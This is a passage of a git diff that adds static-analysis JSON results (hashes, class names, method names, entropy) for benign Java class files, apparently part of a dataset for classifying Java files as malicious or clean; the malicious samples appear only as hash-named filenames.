java_classification/data/malicious/d9d9235fe46e24d53320c7ef588c39a314f0f03456458c9c98becbbbeab4713c.results create mode 100755 java_classification/data/malicious/d9db008bc7522c09b9ac9a6b419cb33d9b0d061d2e27383abc7e095d984ce46e.results create mode 100755 java_classification/data/malicious/d9f87aa3bb61af83a7525bc3794a81137b73bad47021157f77ae1e1cdec05f95.results create mode 100755 java_classification/data/malicious/da2b6d461b8f837485e7a408c28d668705dbe721cc1990cf6114784d39ee8765.results create mode 100755 java_classification/data/malicious/db90ea5f7d59462f099f8a2bfd6b72798e719db66c60504b3e66deea044b5c4e.results create mode 100755 java_classification/data/malicious/dbcf088eeda2632f39008261da6542e12c7045c1afaefc4a35bf1694931c68e7.results create mode 100755 java_classification/data/malicious/dbf31790a3c0b1d62fd86841480456b7090db1c8a99934c63217a6a146b516c1.results create mode 100755 java_classification/data/malicious/dc057fe4c349d0e7cc6849f9fff85c8475ddfed380cd081dabaeef4474707f42.results create mode 100755 java_classification/data/malicious/dc9e0cc7ae7d7434fdca538d99b7614e5288e3c62cc0f8780b4e40f11433a4ca.results create mode 100755 java_classification/data/malicious/dd355b995f4f5d70414314b08d0703e604f59e5d5306a15c8e33fa3fd158b19d.results create mode 100755 java_classification/data/malicious/dd6c6e10cc16c7495f027082b9646fc79147d3e90531b1aa4c09ec7a869ba742.results create mode 100755 java_classification/data/malicious/ddbe002f951bd01e80cd477d43554cddb0b963df54e9e7557fa03bd5864a8415.results create mode 100755 java_classification/data/malicious/de0a4533b691459cbd6bd971bfe197bcb6567a16ae6675392662c9f80693a8c6.results create mode 100755 java_classification/data/malicious/dead2f88aefe9f9892ff1bd4492025cf69ca1dd21194997a047aa8def4485637.results create mode 100755 java_classification/data/malicious/df0e5588a1521bf35635cca8f825228739f0aeca6c1a31650f6289ac48f7eb85.results create mode 100755 java_classification/data/malicious/df94b04a3cd3a71618c5706260d184298d7f153981f793990c2155efd72b808f.results create mode 100755 java_classification/data/malicious/e023be51fcd3fb5b92e8e46051a48dcee96e75e30089fc2ef60bbfd7f2d8d03d.results create mode 100755 java_classification/data/malicious/e1afb74a2e9ceda033a520c2be97a0a4caa39fe50256dbf21e2dd91ce63c3213.results create mode 100755 java_classification/data/malicious/e2c6bea5421ed536fe5f73bcb3860d027fcc582d2c058797e1b23b3010fcf22f.results create mode 100755 java_classification/data/malicious/e32e122112d5f62c93c224f126251c44e6066bfa5f54081ca4b7c6debe0c6efc.results create mode 100755 java_classification/data/malicious/e35aba15989c4b382c4a325325d5ad3841bdc6175bd5f54c94e8cfc68e0ea44a.results create mode 100755 java_classification/data/malicious/e36dcf7180b63668766fb4b54e75ad3af6991095ae4d36aa575c98ed36f8a146.results create mode 100755 java_classification/data/malicious/e38ab1eb4fbf334414fbf16571429d350f92ca4073e8d4a8bdede994ef1a05e8.results create mode 100755 java_classification/data/malicious/e39ce04426b1066734e4e4421c1675e3102e3502e6c481813dda2dad6475c6bc.results create mode 100755 java_classification/data/malicious/e4ee065afd6d621bb97298ba293354751a763b93c137dceebe13ab7f039e1916.results create mode 100755 java_classification/data/malicious/e5cddf68d93fdc9fb4e3f140db956d522f71c94a547014269eec9fd4734960c5.results create mode 100755 java_classification/data/malicious/e6471410dc65a92708d7b86ce3eb72c5fba707115a96f5d06fdd736cf13a17b6.results create mode 100755 java_classification/data/malicious/e6884ad1079d873569659bce0ffdcfd392dfbf85d3f161b28a3ae8e951fd69c1.results create mode 100755 java_classification/data/malicious/e689159260225af6f0ba9226c8bf0a31ca8c31046ef388765ca650d62fc64125.results create mode 100755 java_classification/data/malicious/e6895d31d393e8096995bcf2643fe595453eefabd6adedd61c5b4451347910ce.results create mode 100755 java_classification/data/malicious/e6a06c4da3d7de649415592204efd26cd2924330f76d7d8cf73126d78d9878c1.results create mode 100755 java_classification/data/malicious/e6cafefb5ff55a1f80c6d5d299c928420c4ef2f77405253eef6384a0fdab2192.results create mode 100755 java_classification/data/malicious/e789a68035abf15eff14043a8f5993b98e8996d8da9225fbae9c2508e5c638ae.results create mode 100755 java_classification/data/malicious/e7b7befc0d7a43b7ee1dd93454414e165bce11dd1da8aeefdeec468a5e8ec8c9.results create mode 100755 java_classification/data/malicious/e7ed235a96a9e1b747adb5a260ddebc3961e79f218681953c27cf2cd20a1db11.results create mode 100755 java_classification/data/malicious/e8687d2c49d762827eb283640dded67412034cbdbf1592ddb09c940b0601631a.results create mode 100755 java_classification/data/malicious/e88b7ba85ae6c38db2d6a46201469c5b8bcdfaeccb4328ad0896e19cc0a066c2.results create mode 100755 java_classification/data/malicious/e95f18e82ba20b69f969e71e90f3826af87c895a10541ef5f14cf133a0b71828.results create mode 100755 java_classification/data/malicious/e9a0eb260747badd2304fdad92d090c2e5a81a3b7e0c1af94af305255da7cc99.results create mode 100755 java_classification/data/malicious/e9ad1ef333bfd8b74bb21e2904f96e4b26567c81165cf1c4ac2635cf3e2f9eb9.results create mode 100755 java_classification/data/malicious/ea804d367a3387112c23a72a44a541a719b2216ef1e8a9e290d23a5fa070c761.results create mode 100755 java_classification/data/malicious/eb70aabcdf1fb227d9c98116c58ad2ea21caf901fea54c65e89a392ef072e145.results create mode 100755 java_classification/data/malicious/ebcc525af987421fdd1d9fb715e7ec820d8accdc7d6842964334b1297053b945.results create mode 100755 java_classification/data/malicious/ec04c84e022224c21c34691140f3414112fa9dc0b232f619afa34148a1c50038.results create mode 100755 java_classification/data/malicious/ec11c882f4a427af16bd537dcd384722df66ebb38fc6c7b132049202eac398ba.results create mode 100755 java_classification/data/malicious/ec1ee519204ab1f1b2f66270b106418d1ab021a7a51a1f238d3d5a5174d7c63f.results create mode 100755 java_classification/data/malicious/ec60941150040eca45567bf8d6906c94df745ba12d5c52d5c2c7e4b14649e451.results create mode 100755 java_classification/data/malicious/ece4e89a3492f804d9daae4629c917a9d26f969f6db29392bb4a4a475f36cc1d.results create mode 100755 java_classification/data/malicious/ece623fd08de27f9d9d1de9ac0441aa2b3af1f4d1a94d49bed0c6c9c37148cde.results create mode 100755 java_classification/data/malicious/ed38315b7c40e4988f56b2afbee856cef2f3c83f96b8a2dd2a717a918a03b10a.results create mode 100755 java_classification/data/malicious/edbf4b42453f8a0f64a7b13188c266fd6660063b6370ede9ddf28f63867318ad.results create mode 100755 java_classification/data/malicious/edfb431a2f50af17440dd284379fea3ef1da3ea1594593966509c09043b38bf0.results create mode 100755 java_classification/data/malicious/ee073ce83e14bd76f1571c9030d9f9c25fd0c1a3ccdc8ce0759a2547c08c4061.results create mode 100755 java_classification/data/malicious/ee1f1e3e7b36baf790e685e6cce5adbc4400c2c9a64311e5c74678eaf6c4f315.results create mode 100755 java_classification/data/malicious/ee6dbb8c61b57058b8ad06705561737866849752392763c184307728b4f4f1fe.results create mode 100755 java_classification/data/malicious/f00cad1b8628233ea1299ae0b775a62fade00381a32fb35e748c495cee55684b.results create mode 100755 java_classification/data/malicious/f0ebf4a287ae05e7940609d43035b560a9714ee552b4155c006f93fa7685798a.results create mode 100755 java_classification/data/malicious/f1adf25c934c1a46fa4fe29c2b1d57bf49a6a3d561f886739e667c6c937295b7.results create mode 100755 java_classification/data/malicious/f1f2cefef4aa45eb41dae70356b45cee1e55cb19b2db2c6c474511ee90b391c5.results create mode 100755 java_classification/data/malicious/f214ca1fa4e73d5c0ec26c99ae3222c2dc9a436aa4c2fcd8b2ba93b9d076a3c5.results create mode 100755 java_classification/data/malicious/f21e35bc4c7ad29aa9bc0b85b4c04bb430b2cfd64c3537881ccf4f938ae8a5c6.results create mode 100755 java_classification/data/malicious/f299ca21815967534e588c241cf7d80cc70e44475bad56a556d29a6fd68807da.results create mode 100755 java_classification/data/malicious/f36b0f4eab45e37aeaf27061daf3db870cf93ecc8212855850b05e436b3fc94d.results create mode 100755 java_classification/data/malicious/f38f73b915639f4a9dda28d470e03583c6e50409996305d8ac541dae30d2fc7d.results create mode 100755 java_classification/data/malicious/f3aff015b9e0c9af93be8ce02554509d13386a1cc9acc70f8b59572a0605e931.results create mode 100755 java_classification/data/malicious/f3ffa2d8234fecf7d11f2d301ed535a6031dd2f19908ff15c175f334c31eefc2.results create mode 100755 java_classification/data/malicious/f532f71ea64e4e23fce29f03ece865d3bf14117415c029557d7b6677c9ebacdf.results create mode 100755 java_classification/data/malicious/f57c610ed52ee1ee8f8dd3a5e85b635437cd4878e8b71018f87695a1fdd6acee.results create mode 100755 java_classification/data/malicious/f6332c9cfeaa4a0d0a80a4cd5fcefa2334880f444c8ca1f0b070cb8790d2ed04.results create mode 100755 java_classification/data/malicious/f799222fa2ede5d20816bbd625421e95d18e2d875f23765cddc80766515f88de.results create mode 100755 java_classification/data/malicious/f86f2d0eb88ba444dec4a68b2b17a17b96d356c21db3c1242dc3f1a8777201e6.results create mode 100755 java_classification/data/malicious/f9cc26c6cf5e304538312122b24625cecbac07a63d6f7805dc6f696edb966c08.results create mode 100755 java_classification/data/malicious/faf2474fdb3710b42cd0a5060b80513759b2734b82b8c3e160718632a6feec2e.results create mode 100755 java_classification/data/malicious/fb73bd8fdb4d3a88f9fe042dd2c383bed70f5bd5a7897103dc83c267d79c74a0.results create mode 100755 java_classification/data/malicious/fbc4329bb88a4e59839b5637743702e8d788dec1beeabe80977cf195e6e20bd7.results create mode 100755 java_classification/data/malicious/fd32eb852457b0eec711b651339a8dd90d51d8498d3dbaa99dab45170fedeffa.results create mode 100755 java_classification/data/malicious/fd461313ebd10b430cb5838125206f41a7e81683305527d6b3668bca806ce960.results create mode 100755 java_classification/data/malicious/fdc57ed55eb0d77c2415a006001ca108f98f9442f27c7fc2c1eb1c854afddf56.results create mode 100755 java_classification/data/malicious/fdd659fc848fb6f00ea265681f06fd6bf4a8d551bcb755e6f5e59dd0aeaa7d22.results create mode 100755 java_classification/data/malicious/fe1013f20b2b3fc9f14daff30ffc767c1ea2e1aa1fbfe95e974d826295879716.results create mode 100755 java_classification/data/malicious/ff875ec594bd0c6462c982ac259a466d9c19d7b8ff138f130094702157cc840a.results create mode 100755 java_classification/images/coffee-icon.png create mode 100755 java_classification/java_classification.ipynb diff --git a/java_classification/data/clean/000849e03aca92981089b7eedec1acd2ba2ba3558a7c00fc67c6f7360e6969c6.results b/java_classification/data/clean/000849e03aca92981089b7eedec1acd2ba2ba3558a7c00fc67c6f7360e6969c6.results new file mode 100755 index 0000000..af98cb2 --- /dev/null +++ b/java_classification/data/clean/000849e03aca92981089b7eedec1acd2ba2ba3558a7c00fc67c6f7360e6969c6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/ForwardingConcurrentMap", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER", "ACC_ABSTRACT"], "interfaces": ["java/util/concurrent/ConcurrentMap"], "sourcefile": "ForwardingConcurrentMap.java", "method_names": ["", "delegate", "putIfAbsent", "remove", "replace", "replace", "delegate", "delegate"], "minor_version": 0, "const_pool_count": 54}}, "_id": "e055f66e-05ed-4cbe-9811-e93ac6f240b0", "verbose": {"java": {"signatures": ["()Ljava/util/concurrent/ConcurrentMap;", "(TK;TV;)TV;", "(TK;TV;)TV;", "(TK;TV;TV;)Z", "Lcom/google/common/collect/ForwardingMap;Ljava/util/concurrent/ConcurrentMap;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4aaa7d5ee1b2e8599baf3cde3c6d40d5f63b2da0", "file_name": "java_clean/000849e03aca92981089b7eedec1acd2ba2ba3558a7c00fc67c6f7360e6969c6", "_id": "e055f66e-05ed-4cbe-9811-e93ac6f240b0", "score": 0, "entropy": 4.9905074002977114, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1953, "ssdeep": "24:4mu9yQuljEv62a2ciWLp/ZHMVKFJE42cUcZ22P6FasOla+j1yazZvI1aqOcazb/J:/u9yFle0Np/skE+RCk9xrA8/tkFkn", "sha256": "000849e03aca92981089b7eedec1acd2ba2ba3558a7c00fc67c6f7360e6969c6", "md5": "7a9affea4695299954896d1e7f04c7ff", "parent_sha256": "000849e03aca92981089b7eedec1acd2ba2ba3558a7c00fc67c6f7360e6969c6"}} \ No newline at end of file diff --git a/java_classification/data/clean/01fb82355322847f52e23804060f8561cdbb862bd86d19adaaca599b947fc9f8.results b/java_classification/data/clean/01fb82355322847f52e23804060f8561cdbb862bd86d19adaaca599b947fc9f8.results new file mode 100755 index 0000000..c8b500c --- /dev/null +++ b/java_classification/data/clean/01fb82355322847f52e23804060f8561cdbb862bd86d19adaaca599b947fc9f8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "GzipCodec.java", "class_name": "org/apache/hadoop/io/compress/GzipCodec$GzipOutputStream$ResetableGZIPOutputStream", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "resetState"], "minor_version": 0, "const_pool_count": 39}}, "_id": "2a0142e8-d7a6-4fbd-b15c-6f2bbc23cc47", "metadata": {"mimetype": "application/x-java-applet", "sha1": "287e28d57f1253ed17430217576fe15a567ab515", "file_name": "java_clean/01fb82355322847f52e23804060f8561cdbb862bd86d19adaaca599b947fc9f8", "_id": "2a0142e8-d7a6-4fbd-b15c-6f2bbc23cc47", "score": 0, "entropy": 5.2050627748748255, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 907, "ssdeep": "12:o4iM1ulPsomYTLC3xU74wC3kyg2CO93Ty7By7MNCrgl/489XBe1:o4d1uljmIL6O9Lu/jy7By7MN4gAeRe1", "sha256": "01fb82355322847f52e23804060f8561cdbb862bd86d19adaaca599b947fc9f8", "md5": "0905b0a38a06dab2ba85846645a41995", "parent_sha256": "01fb82355322847f52e23804060f8561cdbb862bd86d19adaaca599b947fc9f8"}} \ No newline at end of file diff --git a/java_classification/data/clean/020acf40eac173e110b05a6b9a62d3c0a6737a37ec4d26f15bd7fd11ec2caab2.results b/java_classification/data/clean/020acf40eac173e110b05a6b9a62d3c0a6737a37ec4d26f15bd7fd11ec2caab2.results new file mode 100755 index 0000000..7b4bedf --- /dev/null +++ b/java_classification/data/clean/020acf40eac173e110b05a6b9a62d3c0a6737a37ec4d26f15bd7fd11ec2caab2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/Multisets$UnmodifiableSortedMultiset", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["com/google/common/collect/SortedMultiset"], "sourcefile": "Multisets.java", "method_names": ["", "delegate", "comparator", "createElementSet", "elementSet", "descendingMultiset", "firstEntry", "lastEntry", "pollFirstEntry", "pollLastEntry", "headMultiset", "subMultiset", "tailMultiset", "elementSet", "createElementSet", "delegate", "delegate", "delegate", ""], "minor_version": 0, "const_pool_count": 131}}, "_id": "f175d372-6986-4283-93fe-d1af269d4e19", "verbose": {"java": {"signatures": ["Lcom/google/common/collect/Multisets$UnmodifiableSortedMultiset;", "(Lcom/google/common/collect/SortedMultiset;)V", "()Lcom/google/common/collect/SortedMultiset;", "()Ljava/util/Comparator<-TE;>;", "()Ljava/util/SortedSet;", "()Ljava/util/SortedSet;", "()Lcom/google/common/collect/SortedMultiset;", "()Lcom/google/common/collect/Multiset$Entry;", "()Lcom/google/common/collect/Multiset$Entry;", "()Lcom/google/common/collect/Multiset$Entry;", "()Lcom/google/common/collect/Multiset$Entry;", "(TE;Lcom/google/common/collect/BoundType;)Lcom/google/common/collect/SortedMultiset;", "(TE;Lcom/google/common/collect/BoundType;TE;Lcom/google/common/collect/BoundType;)Lcom/google/common/collect/SortedMultiset;", "(TE;Lcom/google/common/collect/BoundType;)Lcom/google/common/collect/SortedMultiset;", "Lcom/google/common/collect/Multisets$UnmodifiableMultiset;Lcom/google/common/collect/SortedMultiset;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5c3a39cf322a94e0c91834b30caeb586f4ec542f", "file_name": "java_clean/020acf40eac173e110b05a6b9a62d3c0a6737a37ec4d26f15bd7fd11ec2caab2", "_id": "f175d372-6986-4283-93fe-d1af269d4e19", "score": 0, "entropy": 4.996721172690589, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4993, "ssdeep": "96:M/dlv637KF3Cw86NJ3U83j9CPO4kqXJxYs:olv3UGcPO4kqXJxYs", "sha256": "020acf40eac173e110b05a6b9a62d3c0a6737a37ec4d26f15bd7fd11ec2caab2", "md5": "de2702fd249495282b8b5c1b0be1cbf5", "parent_sha256": "020acf40eac173e110b05a6b9a62d3c0a6737a37ec4d26f15bd7fd11ec2caab2"}} \ No newline at end of file diff --git a/java_classification/data/clean/021ea838fb191a095cec05a9ca85459800a232d405402d329cc1d0d824e67b7e.results b/java_classification/data/clean/021ea838fb191a095cec05a9ca85459800a232d405402d329cc1d0d824e67b7e.results new file mode 100755 index 0000000..22a33a6 --- /dev/null +++ b/java_classification/data/clean/021ea838fb191a095cec05a9ca85459800a232d405402d329cc1d0d824e67b7e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/mechanics/StaticDefensePlanner$1", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Pred0"], "sourcefile": "StaticDefensePlanner.java", "method_names": ["", "invoke", "invoke"], "minor_version": 0, "const_pool_count": 56}}, "_id": "947a6ae9-358d-433a-9fdc-2cecd874b7be", "verbose": {"java": {"constant strings": ["Gun"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "488aa23d0ab82963e9573a4efd081c1b26e3e46d", "file_name": "java_clean/021ea838fb191a095cec05a9ca85459800a232d405402d329cc1d0d824e67b7e", "_id": "947a6ae9-358d-433a-9fdc-2cecd874b7be", "score": 0, "entropy": 5.282413166969364, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1176, "ssdeep": "24:NKfKnVkrJljaKkRQlY826Rc2BgFHK/eTygpBI9d:sCV4lBkoY8/nBgtueTygpBIX", "sha256": "021ea838fb191a095cec05a9ca85459800a232d405402d329cc1d0d824e67b7e", "md5": "3b5a70c434377ac0794135cae9bad290", "parent_sha256": "021ea838fb191a095cec05a9ca85459800a232d405402d329cc1d0d824e67b7e"}} \ No newline at end of file diff --git a/java_classification/data/clean/027b1379e74b844403ec3e2e67b085b6e37e6f77a1370a1b7a037e2e0f0db19f.results b/java_classification/data/clean/027b1379e74b844403ec3e2e67b085b6e37e6f77a1370a1b7a037e2e0f0db19f.results new file mode 100755 index 0000000..4f02d9f --- /dev/null +++ b/java_classification/data/clean/027b1379e74b844403ec3e2e67b085b6e37e6f77a1370a1b7a037e2e0f0db19f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 47, "class_name": "org/apache/commons/io/LineIterator", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/util/Iterator"], "sourcefile": "LineIterator.java", "method_names": ["", "hasNext", "isValidLine", "next", "nextLine", "close", "remove", "closeQuietly"], "minor_version": 0, "const_pool_count": 95}}, "_id": "a710afd6-0d5b-4b57-a078-1d6435a318e5", "verbose": {"java": {"constant strings": ["Reader must not be null", "No more lines", "Remove unsupported on LineIterator"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "645ed06c36c8db4fdfb9ee419b43a857f68c59ce", "file_name": "java_clean/027b1379e74b844403ec3e2e67b085b6e37e6f77a1370a1b7a037e2e0f0db19f", "_id": "a710afd6-0d5b-4b57-a078-1d6435a318e5", "score": 0, "entropy": 5.285081502775978, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 2076, "ssdeep": "48:mA1Slch+3lIlQ+KQHtNovPk+Cwp3zJnIpurP6Z:olc0VIlvPokozBTrP4", "sha256": "027b1379e74b844403ec3e2e67b085b6e37e6f77a1370a1b7a037e2e0f0db19f", "md5": "f7231a87d770c6ced661e6b0d4d9c8a6", "parent_sha256": "027b1379e74b844403ec3e2e67b085b6e37e6f77a1370a1b7a037e2e0f0db19f"}} \ No newline at end of file diff --git a/java_classification/data/clean/028f2e2d10a0498331b5ab4d02a7ffb2dc33871c5fe5f534dcb67877b4a72b03.results b/java_classification/data/clean/028f2e2d10a0498331b5ab4d02a7ffb2dc33871c5fe5f534dcb67877b4a72b03.results new file mode 100755 index 0000000..7855965 --- /dev/null +++ b/java_classification/data/clean/028f2e2d10a0498331b5ab4d02a7ffb2dc33871c5fe5f534dcb67877b4a72b03.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/pig/builtin/IntMax", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/pig/Algebraic"], "sourcefile": "IntMax.java", "method_names": ["", "exec", "getInitial", "getIntermed", "getFinal", "max", "outputSchema", "exec"], "minor_version": 0, "const_pool_count": 162}}, "_id": "dd72d43e-446f-42fa-90b6-d04c039d52f3", "verbose": {"java": {"signatures": ["Lorg/apache/pig/EvalFunc;Lorg/apache/pig/Algebraic;"], "constant strings": ["Error while computing max in ", "Problem while computing max of ints."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f8dba9fde4a90412939553d8d2372b83a3aca6eb", "file_name": "java_clean/028f2e2d10a0498331b5ab4d02a7ffb2dc33871c5fe5f534dcb67877b4a72b03", "_id": "dd72d43e-446f-42fa-90b6-d04c039d52f3", "score": 0, "entropy": 5.431998692999768, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3552, "ssdeep": "96:GtFlEVKbCRLs41GUGnlMbnkKcmReHHYDL5lNcqgRwhVt+W+:UlY47H+swhD+W+", "sha256": "028f2e2d10a0498331b5ab4d02a7ffb2dc33871c5fe5f534dcb67877b4a72b03", "md5": "2162c489d86aacaa28b8e77137412dc3", "parent_sha256": "028f2e2d10a0498331b5ab4d02a7ffb2dc33871c5fe5f534dcb67877b4a72b03"}} \ No newline at end of file diff --git a/java_classification/data/clean/029771523349570ca437c0720150a3bcab972392e0ce3a89a6ce865167125097.results b/java_classification/data/clean/029771523349570ca437c0720150a3bcab972392e0ce3a89a6ce865167125097.results new file mode 100755 index 0000000..b8dfcc9 --- /dev/null +++ b/java_classification/data/clean/029771523349570ca437c0720150a3bcab972392e0ce3a89a6ce865167125097.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/commons/lang/time/FastDateFormat$StringLiteral", "access_permissions": ["ACC_SUPER"], "interfaces": ["org/apache/commons/lang/time/FastDateFormat$Rule"], "sourcefile": "FastDateFormat.java", "method_names": ["", "estimateLength", "appendTo"], "minor_version": 3, "const_pool_count": 48}}, "_id": "350f235d-b25c-4641-a61d-af4a585e8adb", "metadata": {"mimetype": "application/x-java-applet", "sha1": "8197394f6d59ece84d188ecaa946158df4f47a1d", "file_name": "java_clean/029771523349570ca437c0720150a3bcab972392e0ce3a89a6ce865167125097", "_id": "350f235d-b25c-4641-a61d-af4a585e8adb", "score": 0, "entropy": 5.144699219110467, "libmagic": "compiled Java class data, version 45.3", "file_size": 1066, "ssdeep": "24:c1mSBfuljcuoAWWhQ0hyemOzKyi7nZQHWqS9QNlBZ/0Lfow7pYHZ04cv:ymSBGlgudWWhP5Iyi7ZgdeQpZwQ0Km", "sha256": "029771523349570ca437c0720150a3bcab972392e0ce3a89a6ce865167125097", "md5": "0046209d0d6cad31379b85efd46a22b0", "parent_sha256": "029771523349570ca437c0720150a3bcab972392e0ce3a89a6ce865167125097"}} \ No newline at end of file diff --git a/java_classification/data/clean/0361357fe02fc79c21f4d5c3e038d43fa568c12e26cafd68dc39b01658260281.results b/java_classification/data/clean/0361357fe02fc79c21f4d5c3e038d43fa568c12e26cafd68dc39b01658260281.results new file mode 100755 index 0000000..dc508d3 --- /dev/null +++ b/java_classification/data/clean/0361357fe02fc79c21f4d5c3e038d43fa568c12e26cafd68dc39b01658260281.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/ResearchProductionScreen$15", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "ResearchProductionScreen.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 40}}, "_id": "f633de2d-4b44-4f3d-a826-460d7c42c482", "metadata": {"mimetype": "application/x-java-applet", "sha1": "b3f70d0ef02d41b31c533d242a873e901489f458", "file_name": "java_clean/0361357fe02fc79c21f4d5c3e038d43fa568c12e26cafd68dc39b01658260281", "_id": "f633de2d-4b44-4f3d-a826-460d7c42c482", "score": 0, "entropy": 5.179726219500368, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 897, "ssdeep": "12:VLrRgwzPLWCNZLqYuZ9lPsoeLaBS/LmCARa5bYDyiUj7DCH1rc8MWYl:VPOwLiCNZbU9ljekg4a5OmQ1nMWI", "sha256": "0361357fe02fc79c21f4d5c3e038d43fa568c12e26cafd68dc39b01658260281", "md5": "5662b41478e7fe38c5e4e8d7ffeade43", "parent_sha256": "0361357fe02fc79c21f4d5c3e038d43fa568c12e26cafd68dc39b01658260281"}} \ No newline at end of file diff --git a/java_classification/data/clean/036412726425527017c75441a811e694ee43a01402d9ec06ff6d419e85641e36.results b/java_classification/data/clean/036412726425527017c75441a811e694ee43a01402d9ec06ff6d419e85641e36.results new file mode 100755 index 0000000..eaadce0 --- /dev/null +++ b/java_classification/data/clean/036412726425527017c75441a811e694ee43a01402d9ec06ff6d419e85641e36.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "XPathException.java", "class_name": "org/dom4j/XPathException", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 47, "method_names": ["", "", "", "getXPath"], "minor_version": 0, "const_pool_count": 50}}, "_id": "6e47d267-1f4c-4ca9-884c-099b603504f6", "verbose": {"java": {"constant strings": ["Exception occurred evaluting XPath: ", " ", ". Exception: "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2c4ac649002789e9e15283cdb8bcac378b1b585d", "file_name": "java_clean/036412726425527017c75441a811e694ee43a01402d9ec06ff6d419e85641e36", "_id": "6e47d267-1f4c-4ca9-884c-099b603504f6", "score": 0, "entropy": 5.153820245917658, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 1117, "ssdeep": "12:jF36zCv/UR/MONSMXulPsomZMaM4ZlOEKM8bRMOIMkFax5gGR6KfuRMBMk15iVam:N6ukBfulj2brsbAER6HqXrePoEjors7", "sha256": "036412726425527017c75441a811e694ee43a01402d9ec06ff6d419e85641e36", "md5": "9741f46e3f4c4f56ccbe8728c240cfaf", "parent_sha256": "036412726425527017c75441a811e694ee43a01402d9ec06ff6d419e85641e36"}} \ No newline at end of file diff --git a/java_classification/data/clean/036e9e7966a61a93fb541a56dde5873ebe8adcf14284382c1e55f38c822ad8a3.results b/java_classification/data/clean/036e9e7966a61a93fb541a56dde5873ebe8adcf14284382c1e55f38c822ad8a3.results new file mode 100755 index 0000000..0c5c8b2 --- /dev/null +++ b/java_classification/data/clean/036e9e7966a61a93fb541a56dde5873ebe8adcf14284382c1e55f38c822ad8a3.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "threadWordlistExec", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "sourcefile": "threadWordlistExec.java", "method_names": ["", "run", "secToHMS"], "minor_version": 0, "const_pool_count": 160}}, "_id": "19466eec-c2e9-49b0-9797-efe8ca5db7e8", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.1547921097807, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "generate"}}}, "constant strings": ["threadWordlistExec", " waiting for sort to complete... ", "stop gen.", " wordlist generation complete.", "generate", "", "0", "h", " ", "m", "s"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "80a25c89e16c9f9a0664eb4f7fc2e2e4b76ee544", "file_name": "java_clean/036e9e7966a61a93fb541a56dde5873ebe8adcf14284382c1e55f38c822ad8a3", "_id": "19466eec-c2e9-49b0-9797-efe8ca5db7e8", "score": 0, "entropy": 5.657252820101206, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2640, "ssdeep": "48:YLlB0QlkL95EpI/Lj8Wz02rzXbTIr/tLNiPpyac1wNc1u5:YJXlawKDjDz7WLoPpyac1wNc1Y", "sha256": "036e9e7966a61a93fb541a56dde5873ebe8adcf14284382c1e55f38c822ad8a3", "md5": "a5dbe4770476d9434919f265eb7240f6", "parent_sha256": "036e9e7966a61a93fb541a56dde5873ebe8adcf14284382c1e55f38c822ad8a3"}} \ No newline at end of file diff --git a/java_classification/data/clean/03ec30f80caeab9c0fd37acb3246a0d10096ceb1504b53cb55d023c5bfaa2a47.results b/java_classification/data/clean/03ec30f80caeab9c0fd37acb3246a0d10096ceb1504b53cb55d023c5bfaa2a47.results new file mode 100755 index 0000000..abfb5ff --- /dev/null +++ b/java_classification/data/clean/03ec30f80caeab9c0fd37acb3246a0d10096ceb1504b53cb55d023c5bfaa2a47.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "AbstractAutocompleteComponent.java", "class_name": "org/odlabs/wiquery/ui/autocomplete/AbstractAutocompleteComponent$InnerAutocomplete", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "contribute", "onBeforeRender", "setCloseEvent", "setSelectEvent", "setChangeEvent", "setSource", "statement"], "minor_version": 0, "const_pool_count": 164}}, "_id": "465eea61-63a0-4dc4-9846-5d7c9c4561ab", "verbose": {"java": {"signatures": ["(Ljava/lang/String;Lorg/apache/wicket/model/IModel;)V", "(Lorg/odlabs/wiquery/ui/core/JsScopeUiEvent;)Lorg/odlabs/wiquery/ui/autocomplete/Autocomplete;", 